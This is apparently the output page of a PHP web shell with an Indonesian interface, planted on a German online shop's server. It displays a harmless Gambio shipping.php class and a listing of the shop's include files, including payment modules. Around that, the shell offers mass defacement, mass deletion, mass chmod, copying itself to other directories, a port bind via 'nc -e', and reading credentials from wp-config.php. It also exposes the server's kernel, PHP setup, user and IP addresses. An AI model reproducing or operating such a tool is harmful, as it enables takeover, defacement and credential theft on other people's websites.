WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/includes/classes/shipping.php (5.95 KB)
<?php
/* --------------------------------------------------------------
   shipping.php 2010-04-08 gm
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2010 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------


   based on:
   (c) 2000-2001 The Exchange Project  (earlier name of osCommerce)
   (c) 2002-2003 osCommerce(shipping.php,v 1.22 2003/05/08); www.oscommerce.com
   (c) 2003	 nextcommerce (shipping.php,v 1.9 2003/08/17); www.nextcommerce.org
   (c) 2003 XT-Commerce - community made shopping http://www.xt-commerce.com ($Id: shipping.php 1305 2005-10-14 10:30:03Z mz $)

   Released under the GNU General Public License
   ---------------------------------------------------------------------------------------*/

  require_once(DIR_FS_INC . 'xtc_in_array.inc.php');
  class shipping_ORIGIN {
    var $modules;

    // class constructor
    function shipping_ORIGIN($module = '') {
      global $PHP_SELF,$order;

      if (defined('MODULE_SHIPPING_INSTALLED') && xtc_not_null(MODULE_SHIPPING_INSTALLED)) {
        $this->modules = explode(';', MODULE_SHIPPING_INSTALLED);

        $include_modules = array();

        if ( (xtc_not_null($module)) && (in_array(substr($module['id'], 0, strpos($module['id'], '_')) . '.php', $this->modules)) ) {
          $include_modules[] = array('class' => substr($module['id'], 0, strpos($module['id'], '_')), 'file' => substr($module['id'], 0, strpos($module['id'], '_')) . '.php');
        } else {
          reset($this->modules);
          while (list(, $value) = each($this->modules)) {
            $class = substr($value, 0, strrpos($value, '.'));
            $include_modules[] = array('class' => $class, 'file' => $value);
          }
        }
        // load unallowed modules into array
        $unallowed_modules = explode(',',$_SESSION['customers_status']['customers_status_shipping_unallowed'].','.$order->customer['shipping_unallowed']);
        for ($i = 0, $n = sizeof($include_modules); $i < $n; $i++) {
          if (xtc_in_array(str_replace('.php', '', $include_modules[$i]['file']), $unallowed_modules) != 'false') {
            // check if zone is alowed to see module
            if (constant(MODULE_SHIPPING_ . strtoupper(str_replace('.php', '', $include_modules[$i]['file'])) . _ALLOWED) != '') {
              $unallowed_zones = explode(',', constant(MODULE_SHIPPING_ . strtoupper(str_replace('.php', '', $include_modules[$i]['file'])) . _ALLOWED));
            } else {
              $unallowed_zones = array();
            }
            if (in_array($_SESSION['delivery_zone'], $unallowed_zones) == true || count($unallowed_zones) == 0) {
              include(DIR_WS_LANGUAGES . $_SESSION['language'] . '/modules/shipping/' . $include_modules[$i]['file']);
              include(DIR_WS_MODULES . 'shipping/' . $include_modules[$i]['file']);

              $GLOBALS[$include_modules[$i]['class']] = new $include_modules[$i]['class'];
            }
          }
        }
      }
    }

    function quote($method = '', $module = '') {
      global $total_weight, $shipping_weight, $shipping_quoted, $shipping_num_boxes;

      $quotes_array = array();

      if (is_array($this->modules)) {
        $shipping_quoted = '';
        $shipping_num_boxes = 1;
        $shipping_weight = $total_weight;

        if (SHIPPING_BOX_WEIGHT >= $shipping_weight*SHIPPING_BOX_PADDING/100) {
          $shipping_weight = $shipping_weight+SHIPPING_BOX_WEIGHT;
        } else {
          $shipping_weight = $shipping_weight + ($shipping_weight*SHIPPING_BOX_PADDING/100);
        }

        if ($shipping_weight > SHIPPING_MAX_WEIGHT) { // Split into many boxes
          $shipping_num_boxes = ceil($shipping_weight/SHIPPING_MAX_WEIGHT);
          $shipping_weight = $shipping_weight/$shipping_num_boxes;
        }

        $include_quotes = array();

        reset($this->modules);
        while (list(, $value) = each($this->modules)) {
          $class = substr($value, 0, strrpos($value, '.'));
          if (xtc_not_null($module)) {
            if ( ($module == $class) && ($GLOBALS[$class]->enabled) ) {
              $include_quotes[] = $class;
            }
          } elseif ($GLOBALS[$class]->enabled) {
            $include_quotes[] = $class;
          }
        }

        $size = sizeof($include_quotes);
        for ($i=0; $i<$size; $i++) {
          $quotes = $GLOBALS[$include_quotes[$i]]->quote($method);
          if (is_array($quotes)) $quotes_array[] = $quotes;
        }
      }

      return $quotes_array;
    }

    function cheapest() {

      if (is_array($this->modules)) {
        $rates = array();

        reset($this->modules);
        while (list(, $value) = each($this->modules)) {
          $class = substr($value, 0, strrpos($value, '.'));
          // BOF GM_MOD:
          if ($GLOBALS[$class]->enabled && $class != 'selfpickup') {
            $quotes = $GLOBALS[$class]->quotes;
            $size = sizeof($quotes['methods']);
            for ($i=0; $i<$size; $i++) {
            if(array_key_exists("cost",$quotes['methods'][$i])) {
                $rates[] = array('id' => $quotes['id'] . '_' . $quotes['methods'][$i]['id'],
                                 'title' => $quotes['module'] . ' (' . $quotes['methods'][$i]['title'] . ')',
                                 'cost' => $quotes['methods'][$i]['cost']);
                                // echo $quotes['methods'][$i]['cost'];

              }
            }
          }
        }

        $cheapest = false;
        $size = sizeof($rates);
        for ($i=0; $i<$size; $i++) {
          if (is_array($cheapest)) {
            if ($rates[$i]['cost'] < $cheapest['cost']) {
              $cheapest = $rates[$i];
            }
          } else {
            $cheapest = $rates[$i];
          }
        }
        return $cheapest;

      }

    }
  }
?>
namawaktuukuranownerpermaksi
..
Smarty/ 2013-11-12 21:07343.97 KB 76129f60960:kundendxwrx-rx-r
billsafe_2/ 2013-11-12 21:0721.38 KB 76129f60960:kundendxwrx-rx-r
afterbuy.php 2013-11-12 21:0631.51 KB 76129f60960:kunden-xw-x-----
edt
banktransfer_validation.php 2013-11-12 21:0682.12 KB 76129f60960:kunden-xw-x-----
edt
boxes.php 2013-11-12 21:068.36 KB 76129f60960:kunden-xw-x-----
edt
boxes_old.php 2013-11-12 21:06366 B 76129f60960:kunden-xw-x-----
edt
breadcrumb.php 2013-11-12 21:062.02 KB 76129f60960:kunden-xw-x-----
edt
cc_validation.php 2013-11-12 21:063.42 KB 76129f60960:kunden-xw-x-----
edt
class.heidelpay.php 2013-11-12 21:0625.39 KB 76129f60960:kunden-xw-x-----
edt
class.inputfilter.php 2013-11-12 21:0613.32 KB 76129f60960:kunden-xw-x-----
edt
class.moneybookers.php 2013-11-12 21:0612.02 KB 76129f60960:kunden-xw-x-----
edt
class.phpmailer.php 2013-11-12 21:0646.01 KB 76129f60960:kunden-xw-x-----
edt
class.smtp.php 2013-11-12 21:0633.77 KB 76129f60960:kunden-xw-x-----
edt
http_client.php 2013-11-12 21:0613.32 KB 76129f60960:kunden-xw-x-----
edt
language.php 2013-11-12 21:066.31 KB 76129f60960:kunden-xw-x-----
edt
main.php 2013-11-12 21:065.58 KB 76129f60960:kunden-xw-x-----
edt
message_stack.php 2013-11-12 21:063.29 KB 76129f60960:kunden-xw-x-----
edt
navigation_history.php 2013-11-12 21:064.71 KB 76129f60960:kunden-xw-x-----
edt
order.php 2013-11-12 21:0629.55 KB 76129f60960:kunden-xw-x-----
edt
order_total.php 2013-11-12 21:0611.43 KB 76129f60960:kunden-xw-x-----
edt
payment.php 2013-11-12 21:0613.57 KB 76129f60960:kunden-xw-x-----
edt
paypal_checkout.php 2013-11-12 21:0672.2 KB 76129f60960:kunden-xw-x-----
edt
phpmailer.lang-de.php 2013-11-12 21:061.21 KB 76129f60960:kunden-xw-x-----
edt
phpmailer.lang-en.php 2013-11-12 21:061.04 KB 76129f60960:kunden-xw-x-----
edt
product.php 2013-11-12 21:0625.61 KB 76129f60960:kunden-xw-x-----
edt
sessions.php 2013-11-12 21:0613.23 KB 76129f60960:kunden-xw-x-----
edt
shipping.php 2013-11-12 21:065.95 KB 76129f60960:kunden-xw-x-----
edt
shopping_cart.php 2013-11-12 21:0626.02 KB 76129f60960:kunden-xw-x-----
edt
split_page_results.php 2013-11-12 21:068.15 KB 76129f60960:kunden-xw-x-----
edt
vat_validation.php 2013-11-12 21:0630.28 KB 76129f60960:kunden-xw-x-----
edt
wish_list.php 2013-11-12 21:0620.18 KB 76129f60960:kunden-xw-x-----
edt
xmlparserv4.php 2013-11-12 21:064.24 KB 76129f60960:kunden-xw-x-----
edt
xtbooster.php 2013-11-12 21:062.8 KB 76129f60960:kunden-xw-x-----
edt
xtcPrice.php 2013-11-12 21:0620.16 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/includes/classes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK